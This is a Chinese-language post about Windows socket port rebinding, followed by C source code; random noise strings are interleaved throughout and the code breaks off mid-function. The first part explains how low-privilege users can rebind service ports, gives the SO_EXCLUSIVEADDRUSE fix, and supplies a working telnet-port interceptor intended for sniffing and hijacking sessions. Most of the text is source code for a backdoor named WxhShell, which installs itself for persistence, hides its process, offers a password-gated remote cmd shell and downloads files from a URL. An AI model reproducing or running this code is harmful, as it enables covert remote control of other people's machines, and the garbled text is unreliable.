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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?+!KucTF
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _]4cY%s
GphG/C ( saddr.sin_family = AF_INET; *rbH|o 8 $M8'm1R9 saddr.sin_addr.s_addr = htonl(INADDR_ANY); (0][hdI~B $$8"i+,K bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sL[,J[AN; zn@tLLX 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L
+-B,466 Zj!S('hSY 这意味着什么?意味着可以进行如下的攻击: 9%iqequ ~(G]-__B< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Pxy(YMv C %y AMQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N',]WZ} ;nSaZ$`5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .2Gn)dZU L}x"U9'C 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 #%B1,.A En-eG37l 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +g\u=&<6 e-\J!E'1F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
X1y1 1rT}mm/e; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lv,8NmP5 lOcvRF #include ^]AjcctGr #include bWG}>{fj #include }JAg<qy} #include (m~MyT#S DWORD WINAPI ClientThread(LPVOID lpParam); My
Af~&Y+ int main() K|E}Ni { NuW9.6$Jrf WORD wVersionRequested; @N"h,(^ DWORD ret; V'\4sPt WSADATA wsaData; A:&
`oJl BOOL val; Vad(PS0 SOCKADDR_IN saddr; <fWho%eOK SOCKADDR_IN scaddr; @ U:WWTzf int err; '+Ts IJh SOCKET s; +#,t SOCKET sc; $l-j(=Md int caddsize; H\8.T:> HANDLE mt; i#iY;R8 DWORD tid; IcI y wVersionRequested = MAKEWORD( 2, 2 ); hFyN|Dqhds err = WSAStartup( wVersionRequested, &wsaData ); VqbMFr<k if ( err != 0 ) { Y=/HsG\W] printf("error!WSAStartup failed!\n"); L&q~5 9 return -1; "f3, w } 5/>G)& saddr.sin_family = AF_INET; a(BWV?A R-bICGSE //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ZO
W{rv] -L</,>p saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |`E\$|\p saddr.sin_port = htons(23); C7eaioW$ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |#f
P8OK { ~ m,z| printf("error!socket failed!\n"); [&3G `8hY return -1; LHR%dt|M } 0ot=BlMu val = TRUE; ]J?5qR:xCy //SO_REUSEADDR选项就是可以实现端口重绑定的 Y')in7g if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I^0bEwqZ~ { 0JKbp*H printf("error!setsockopt failed!\n"); FV! return -1; RR*z3i`PP } ,`S"nq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T->O5t c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ZsNUT4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 '?wv::t bmzs!fg_~R if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) oIQor%z { !@%m3)T8 ret=GetLastError(); !N?|[n1 printf("error!bind failed!\n"); >eW HPO return -1; }7wQFKME } .ye5;A} listen(s,2); X];a(7+2 while(1) +w%MwPC7` { OB;AgE@ caddsize = sizeof(scaddr); rM_8piD //接受连接请求 *~:4&$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L`yS' if(sc!=INVALID_SOCKET) zA\DI]:+ { oT_k"]~Q~2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y]^[|e8 if(mt==NULL) r}pYm'e { pV:X_M6 printf("Thread Creat Failed!\n"); Qm^N}>e break; Y[
a$~n^:n } Mpb|qGi! } ]geO%m CloseHandle(mt); p@YU7_sF^! } 7z5AI!s_ closesocket(s); {CYFM[V WSACleanup(); YDz:;Sp\ return 0; EX|Wd|aK } &5~bJ]P DWORD WINAPI ClientThread(LPVOID lpParam) dl;^sn0s { AW%^Xt SOCKET ss = (SOCKET)lpParam; ?.,..p SOCKET sc; GbBcC#0 unsigned char buf[4096]; lk)38. SOCKADDR_IN saddr; cRI&cN"o long num; u\Tq5PYXt DWORD val; u01x}Ff~6 DWORD ret;
" q0lh //如果是隐藏端口应用的话,可以在此处加一些判断 o~*% g. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 B14z<x}Q
saddr.sin_family = AF_INET; M(jSv saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _@ev(B saddr.sin_port = htons(23); W(9-XlYKE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y'DI@ { p*8=($j4 printf("error!socket failed!\n"); rMdOE&5G return -1; NO/5pz}1 } W[e2J&G val = 100; b `}hw"f if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Gv[(0 { !9.\A:G ret = GetLastError(); y@AUSh; return -1; o3NB3@uj< } B1%xU? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) NSR][h_ { l%?()]y ret = GetLastError(); *Uf>Xr& return -1; =.):tGDp } ~E vGNnTL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;
0M"T[c { N|
P?!G-= printf("error!socket connect failed!\n"); ^ ]+vtk closesocket(sc); 3a}c'$F>_' closesocket(ss); g&8-X?^Q return -1; ZXIz.GFy+ } -3m!970 while(1) sWKdqs { \>{;,f //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qd~9uo&[Ig //如果是嗅探内容的话,可以再此处进行内容分析和记录 YOA)paq+ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u%=2g'+)_ num = recv(ss,buf,4096,0); k 6i&NG6 if(num>0) J: I@kM send(sc,buf,num,0); S&D8Rao5 else if(num==0) <,U$Y> break; j6L (U~% num = recv(sc,buf,4096,0); 8kE3\#);\ if(num>0) YlR9
1LX send(ss,buf,num,0); IABF_GwF else if(num==0) :YLurng/] break; $s 'n]]Wq } gyT0h?xDt closesocket(ss); 1(e64w@ closesocket(sc); 8q:#
' return 0 ; Ue"pNjd| } .Sv/0&O lnF{5zc Y_~otoSoY ========================================================== nUisC5HW D.ySnYzh 下边附上一个代码,,WXhSHELL h
R6Pj"@0 e_cK#9+ ========================================================== D6C h6i5$ . lNf.x#u #include "stdafx.h" \l`{u)V 4Tb"+Y} #include <stdio.h> Tk`|{Ph0 #include <string.h> ,R-aO= % #include <windows.h> n9-WZsc1 #include <winsock2.h> JU)k+:\a #include <winsvc.h> o8NRu7@? #include <urlmon.h> 9\0$YY% wxT(ktE #pragma comment (lib, "Ws2_32.lib") .1_kRy2*. #pragma comment (lib, "urlmon.lib") wyXQP+9G J"TF@7{p #define MAX_USER 100 // 最大客户端连接数 bfy= #define BUF_SOCK 200 // sock buffer #&%>kfeJ)< #define KEY_BUFF 255 // 输入 buffer w"?RbA QZ*gR#K]Sz #define REBOOT 0 // 重启 RdNLf #define SHUTDOWN 1 // 关机 KKWvV4u }]JHY P\ #define DEF_PORT 5000 // 监听端口 ~@#a*=" _rmKvSD% #define REG_LEN 16 // 注册表键长度 !(Y,2{ #define SVC_LEN 80 // NT服务名长度 {w7/M]m- yqB!0)
< // 从dll定义API P+QL||>L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DgY
!)cS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jx2{kK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [+!&iN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A~ _2" O~Bh(_R& // wxhshell配置信息 6Rmdf>a struct WSCFG { U.JE \/ int ws_port; // 监听端口 5L_`Fw\l char ws_passstr[REG_LEN]; // 口令 "fW
}6pS int ws_autoins; // 安装标记, 1=yes 0=no a,r
B7aD char ws_regname[REG_LEN]; // 注册表键名 Qkhor-f0 char ws_svcname[REG_LEN]; // 服务名 dC|6z/ char ws_svcdisp[SVC_LEN]; // 服务显示名 mrr~ #Bb> char ws_svcdesc[SVC_LEN]; // 服务描述信息 W|y;Kxy char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l5\V4 int ws_downexe; // 下载执行标记, 1=yes 0=no ga(k2Q;y char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ;47z.i&T char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ou-uZ"$,c J_.cC }; kX8NRPW "?<h,Hvi // default Wxhshell configuration w~ON861 struct WSCFG wscfg={DEF_PORT, CPMGsW^ "xuhuanlingzhe", YPf? 1, )^+hm+27v "Wxhshell", F=e-jKogK "Wxhshell", )nFyHAy- "WxhShell Service", ;BYuNQr "Wrsky Windows CmdShell Service", =0 !j"z= "Please Input Your Password: ", Rn]xxa' 1, ,wXmJ)/WZ " http://www.wrsky.com/wxhshell.exe",
>]~|Nf/i "Wxhshell.exe" bLAHVi<. }; =:]v~Ehq 4^M"V5tDx // 消息定义模块 ai-rF^ehC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |_>^vW1f char *msg_ws_prompt="\n\r? for help\n\r#>"; !8|}-eFY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; nosD1sS.K8 char *msg_ws_ext="\n\rExit."; :GO"bsjL char *msg_ws_end="\n\rQuit."; )>S,#_e*b char *msg_ws_boot="\n\rReboot..."; TlRc8r| char *msg_ws_poff="\n\rShutdown..."; rp{|{>'`.q char *msg_ws_down="\n\rSave to "; -Ou.C7ol #X-C~*|>j char *msg_ws_err="\n\rErr!"; ^*ZaqMA char *msg_ws_ok="\n\rOK!"; <:9ts@B W.j^L; char ExeFile[MAX_PATH]; ]?y~;-^ int nUser = 0; 6>]_H(z7 HANDLE handles[MAX_USER]; cGlN*GJ*H int OsIsNt; 7Eyi~jes PuNL%D SERVICE_STATUS serviceStatus; >Sc yc-n SERVICE_STATUS_HANDLE hServiceStatusHandle; Lz 1.+:Ag poQ_r<I // 函数声明 q;eb int Install(void); EH844k8
p int Uninstall(void); #*iUZo int DownloadFile(char *sURL, SOCKET wsh); =Y2 Rht int Boot(int flag); eo]nkyYDP void HideProc(void); u"0{)
, int GetOsVer(void); /|v4]t-
int Wxhshell(SOCKET wsl); m*y&z'e\ void TalkWithClient(void *cs); '4'Z
int CmdShell(SOCKET sock); E)*ht;u int StartFromService(void); mF
1f( int StartWxhshell(LPSTR lpCmdLine); $ar^U }b1G21Dc! VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T1Py6Q,- VOID WINAPI NTServiceHandler( DWORD fdwControl ); QM(xMq
?'k_K:_ // 数据结构和表定义 2;Z
0pPR& SERVICE_TABLE_ENTRY DispatchTable[] = a>v * { og";mC {wscfg.ws_svcname, NTServiceMain}, ]
2
`%i5 {NULL, NULL} T~3{$ }; m1W) PUy qx#M6\L! // 自我安装 ^Laqq%PI int Install(void) lAnq2j| { ,b5'<3\ char svExeFile[MAX_PATH]; f#ZM2!^! HKEY key; q(n"r0)= strcpy(svExeFile,ExeFile); ,>B11Z}PH *EuX7LEu_ // 如果是win9x系统,修改注册表设为自启动 .))g]CH if(!OsIsNt) { d[6 'w ? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :)lS9<Y} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vit-)o{zr RegCloseKey(key); ,&BNN]k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T`e`nQ0nn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G' U_I RegCloseKey(key); O|t>.<T? return 0; ^}P94( oz } ec; } 1 iox0 } J$6WU z:? else { "mQp#d/' WK$\#>T // 如果是NT以上系统,安装为系统服务 O7 ;=g!j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MFROAVPZ5 if (schSCManager!=0) 'xta/@Sq { gnH{_ SC_HANDLE schService = CreateService AE:(:U\ ( ) p>Cf_[. schSCManager, _&]7 wscfg.ws_svcname, 8gavcsVE[ wscfg.ws_svcdisp, lo!pslqsn SERVICE_ALL_ACCESS, ^'=[+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X|\`\[ SERVICE_AUTO_START, [2,D] e SERVICE_ERROR_NORMAL, :6o%x0l svExeFile, S`vt\g$ dN NULL, Tz)Ku NULL, ?wHhBh-Q NULL, 2Vti|@JYp NULL, t*= nI $ NULL d 0B`5#4 ); m]V#fRC if (schService!=0) )jXKPLj { c_ncx|dUs CloseServiceHandle(schService); uWKmINjv' CloseServiceHandle(schSCManager); ~}j+~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,v mn{gz strcat(svExeFile,wscfg.ws_svcname); NA2={RB; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _ f";zd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o}G`t
Bz RegCloseKey(key); , @UOj= return 0; 'WhJ}Uo\ } m
W>Iib| } TW>GYGz CloseServiceHandle(schSCManager); #S9J9k } O6/ vFEB } e(/F:ZEh j24 3oD return 1; $m#^0% } @%x2d1FS UJh;Hp: // 自我卸载 ~Z/,o) int Uninstall(void) O=+$XPa| { jr0j0$BF HKEY key; 2Q%7J3I Ws|`E`6O if(!OsIsNt) { }NyQ<,+mq& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b9X*2pnWJ RegDeleteValue(key,wscfg.ws_regname); p&RC#wYu RegCloseKey(key); :p}8#rb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .\_RavW23 RegDeleteValue(key,wscfg.ws_regname); ou-UR5 RegCloseKey(key); z
mip return 0; m=l'9j"D } ,\v'%,:C } [s[ZOi!;I } Gu~*ZKyJ else { RVV` ]87BP%G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); seEo)m`d if (schSCManager!=0)
k2v:F { an"~n`g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )L:e0u if (schService!=0) T#-;>@a} { h*l$!nEN if(DeleteService(schService)!=0) { L_Gw:"-+Q CloseServiceHandle(schService); Kb(11$U CloseServiceHandle(schSCManager); cw!,.o%cD return 0; WuUwd#e } 1`7zYW&L CloseServiceHandle(schService); [y@*vQw } b`-|7<s CloseServiceHandle(schSCManager); o0 C&ol_ } `?Q
p>t } L_!ShE _aPAn|. return 1; @Iz]:@\cJ } S/5QK(XLC) P'U2hCif // 从指定url下载文件 %BGg?& int DownloadFile(char *sURL, SOCKET wsh) Y'|,vG { +>q#eUS) HRESULT hr; d>hv-nD char seps[]= "/";
Bx#i?=*W char *token; _h!.gZB3 char *file; 2DW@}[G char myURL[MAX_PATH]; E7A!,A&> char myFILE[MAX_PATH]; d5m-f/ : ZrJL& strcpy(myURL,sURL); )JS6W token=strtok(myURL,seps); ls@]%pz.1d while(token!=NULL) 6^Wep- $ { GF ux?8A:% file=token; yU
v
YV-7 token=strtok(NULL,seps); nzflUR{`- } 2 kDsIEA EG>?>K_D GetCurrentDirectory(MAX_PATH,myFILE); }sXTZX strcat(myFILE, "\\"); f4f2xe7\Q strcat(myFILE, file); OjUPvR2 0 send(wsh,myFILE,strlen(myFILE),0); [%.v;+L send(wsh,"...",3,0); sW[-qPK< hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D`LBv,n if(hr==S_OK) 6TW7E}a. return 0; =j,WQ66r3 else sasurR|; return 1; WkTJ M |H5.2P&9-5 } 1)(>'pY $O%{l.-O // 系统电源模块 3$\k=q3`# int Boot(int flag) K!-OUm5A { L^+rsxR HANDLE hToken; ote,`h TOKEN_PRIVILEGES tkp; eTuqK23 /v R>.' if(OsIsNt) { c$g@3gL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iQ)ydY a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); II\&)_S.4 tkp.PrivilegeCount = 1; MYAt4cHc2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
THYw_]K AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YFO{i-*q if(flag==REBOOT) { 5'lPXKn+L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7j]v_2S` return 0; tEhg',2t( } iod%YjZu else { V'vR(Wx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HK@ij,px return 0; ?{ir$M } j6rN t| } V
;T :Q% else { jj5S+ >4 if(flag==REBOOT) { P49\A^5S! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (`tRJWbdz return 0; lE:g A, } aB]0?C y9( else { XjX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (j:
ptQ2$ return 0; ^J'_CA } %By Pwu:f } !|cg= }Z!D?( return 1; f[ ^f/jGm } E[H ]R__$fl`8 // win9x进程隐藏模块 xUo6~9s7 void HideProc(void) zsFzg.$3& { +#W94s~0V M([#Py9h HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0'QWa{dS\ if ( hKernel != NULL ) 25^?|9o 7 { HgI!q<) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]-fkmnmWX ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S{@}ECla FreeLibrary(hKernel); U.%Kt,qB } k+3qX'fd X#Bb?Pv return; <xOv8IQ| } _X6'uJ qQ&uU7,# // 获取操作系统版本 }f}. >B0# int GetOsVer(void) A'WR!*Yt {
6@S6E(^ OSVERSIONINFO winfo; 4M'>oa winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [6/QUD8 GetVersionEx(&winfo); bz>X~
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eI
#Gx_mg return 1; @ZKf3,J0 else q'2vE;z Kb return 0; *GP2>oEM } r~w.J+W L74Mz]v // 客户端句柄模块 hbjAxioA int Wxhshell(SOCKET wsl)
5xY{Q { S{YzHK SOCKET wsh; *O?c~UJhhV struct sockaddr_in client; L'e_?`!: DWORD myID; DE?v'7cmA /--p#G h' while(nUser<MAX_USER) s-i|P { h}bfZL int nSize=sizeof(client); "LyD wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cHFi(K]|1 if(wsh==INVALID_SOCKET) return 1; ?Ua,ba* 8hRcB[F~S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O5\r%&$xd if(handles[nUser]==0) >rG>Bz^Pu closesocket(wsh);
">A<%5F2 else !Sq<_TO nUser++; _03?XUKV } UA[`{rf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GAGS-G# &H(yLd[ return 0; !^J;S%MB:K } f~IJ4T2#N "TRS(d|3 // 关闭 socket -@TY8#O#- void CloseIt(SOCKET wsh) 9hp&HL)BOa { L"_XWno closesocket(wsh); 1/_g36\l$ nUser--; j0=6B ExitThread(0); Aq i:h]x } :Mx =u~nLL
// 客户端请求句柄 A2
l?F void TalkWithClient(void *cs) [g}Cve#i { :uL<UD,vu3 ]TV_p[L0B SOCKET wsh=(SOCKET)cs; 0RR |!zEu char pwd[SVC_LEN]; =C\Tl-$\f char cmd[KEY_BUFF]; l.YE@EL char chr[1]; lu=a e<M int i,j; *&U~Io"U 9>RkFV while (nUser < MAX_USER) { oEIpv;:_ 1NYR8W]2 if(wscfg.ws_passstr) { mV0,T*}e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?kjQ_K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F^,:p.ihm< //ZeroMemory(pwd,KEY_BUFF); *WE8J#]d i=0; 6St=r)_ while(i<SVC_LEN) { 87
gk
Q14zc0N // 设置超时 N8A)lYT]_u fd_set FdRead; IjI'Hx struct timeval TimeOut; EJ:O 1 FD_ZERO(&FdRead);
CKAd\L FD_SET(wsh,&FdRead); 7QO/; zL TimeOut.tv_sec=8; :saP
:& TimeOut.tv_usec=0; }[+uHR6L int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fA=Z):w if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -wU]L5uP xGs}hVlZiC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '-wmY?ZFxy pwd =chr[0]; ]545:)Q1 if(chr[0]==0xd || chr[0]==0xa) { 2 6#p,P pwd=0; ;"dX]": break; b.*LmSX# } yan^\)HZ i++; c5]Xqq, } t]K20(FSN i/:L^SQAq // 如果是非法用户,关闭 socket TY8gB!^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^s~)"2 g } -K|1w'E [@@{z9c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !y_FbJ8KC send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RELNWr [f+wP|NKL while(1) { HZ3;2k `gSMb
UgF ZeroMemory(cmd,KEY_BUFF); 6Bq_<3P_ !*]i3 ,{7v // 自动支持客户端 telnet标准 7hJX j=0; [O3:?BNY while(j<KEY_BUFF) { ni;)6,i if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3IYFvq~ cmd[j]=chr[0]; ky2]%cw if(chr[0]==0xa || chr[0]==0xd) { %ap(=^|5 cmd[j]=0; KV0*dB; break; O Z
./suR) } UJO3Yn j++; ixA.b#!1 } uV:R3#^ N7?]eD // 下载文件 Kx9u|fp5 if(strstr(cmd,"http://")) { {aAd (~YZ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8 a]'G)(ts if(DownloadFile(cmd,wsh)) L:HvrB~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); fd[N]I3 else `W86]ut[ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WW:G(
\` } oC`F1!SfOO else { Sp>g77@ A}ZZQ switch(cmd[0]) { 2E }vuw=c eN])qw{ // 帮助 &
/8Tth86 case '?': { g}MUfl-L send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +/[M
Ex= break; {+9RJmZg } ??F* Z" x // 安装 "3^tVX%$\[ case 'i': { vAX ( 3 if(Install()) o2
ng send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^/BGOBK else "{~5QO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \Kf\%Q break; F! !HwI } d?7?tL2 // 卸载 @v2<T1UC case 'r': { $Ivjcs: if(Uninstall()) uzdPA'u send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]FCP|Jz else >._d2.Q' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _:Qh1 &h break; ?4':~;~ } \D|IN'!D // 显示 wxhshell 所在路径 4]r_K2.cc case 'p': { 2j+w5KvU char svExeFile[MAX_PATH]; O|H: strcpy(svExeFile,"\n\r"); L('1NN2 strcat(svExeFile,ExeFile);
ZPZh6^cc send(wsh,svExeFile,strlen(svExeFile),0); 0j@mzd2 break; LwB1~fF } e(7#>O%1 // 重启 j*>J1M3E case 'b': { M">v4f&K1! send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~YH?wdT if(Boot(REBOOT)) zA5nr` send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;,; else { J];Sj closesocket(wsh); |2do8z ExitThread(0); | In{5Ek } "L2*RX.R break; _ ^FC9 } W'4/cO // 关机 ^BF}wQb:j case 'd': { MT/jpx send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4vg3F( if(Boot(SHUTDOWN)) ehW [LRtq send(wsh,msg_ws_err,strlen(msg_ws_err),0); #}#m\=0 else { kx&JY9( closesocket(wsh); W^iK9|[qp ExitThread(0); O=A R`r# u } *5Zow 3 break; {L;sF=d } P3Ql[2 // 获取shell d[t0K] case 's': { %gmx47 CmdShell(wsh); g!^N#o closesocket(wsh); eV"%(<{ ExitThread(0); /<-PW9X? break; xCZ_x$bk } !l*A3qA // 退出 #ksDU case 'x': { d.f0OhQ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `sm Cfh}j6 CloseIt(wsh); kZF]BPh. break; GXZ="3W | } \hX,z = // 离开 .OJGo<#$f case 'q': { ,t 2CQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); P8c_GEna closesocket(wsh); `p\%ha!,w WSACleanup(); 3}}/,pGSc exit(1); eP~3m break; 6 :4GI } -`4]u!A } n@`3O'S } R"OT&:0/ 4>(K~v5;N // 提示信息 \y7?w*K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?`TJ0("z" } S+06pj4Ie } #w L(<nE 1tXc7NA< return; XF: wsC } 4AhFE@ DSs/D1mj&
// shell模块句柄 #xmiUN,| int CmdShell(SOCKET sock) AkW,Fp1e { _,^f,WO~ STARTUPINFO si; ?4SYroXUX| ZeroMemory(&si,sizeof(si)); eQQVfEvS si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `x=kb; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <@`K^g;W PROCESS_INFORMATION ProcessInfo; xFUD9TM
char cmdline[]="cmd"; qF3S\
C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cY} jPDH return 0; jEKa9rt } +PYR l&Q@+xb> // 自身启动模式 "Io-%Su+ int StartFromService(void) (a!E3y5, { w+rw<,u% typedef struct J>dj]1I { G%gdI3h1Z
DWORD ExitStatus; |QzJHP @ DWORD PebBaseAddress; w8o?wx* DWORD AffinityMask; &[\zs&[@y DWORD BasePriority; )FB<gCh7X ULONG UniqueProcessId; Nt+UL/1] ULONG InheritedFromUniqueProcessId; ,hK
=x } PROCESS_BASIC_INFORMATION; $_
$%L0)5 Ql7opl,
PROCNTQSIP NtQueryInformationProcess; Qvny$sr2 m";8 nm static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =uwG.,lC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X",0VO c| ( ? HANDLE hProcess; Pm(:M:a PROCESS_BASIC_INFORMATION pbi; =Fy8rTdk6r ]UT|BE4v HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PZRn6Tc if(NULL == hInst ) return 0; S!W/K!wf
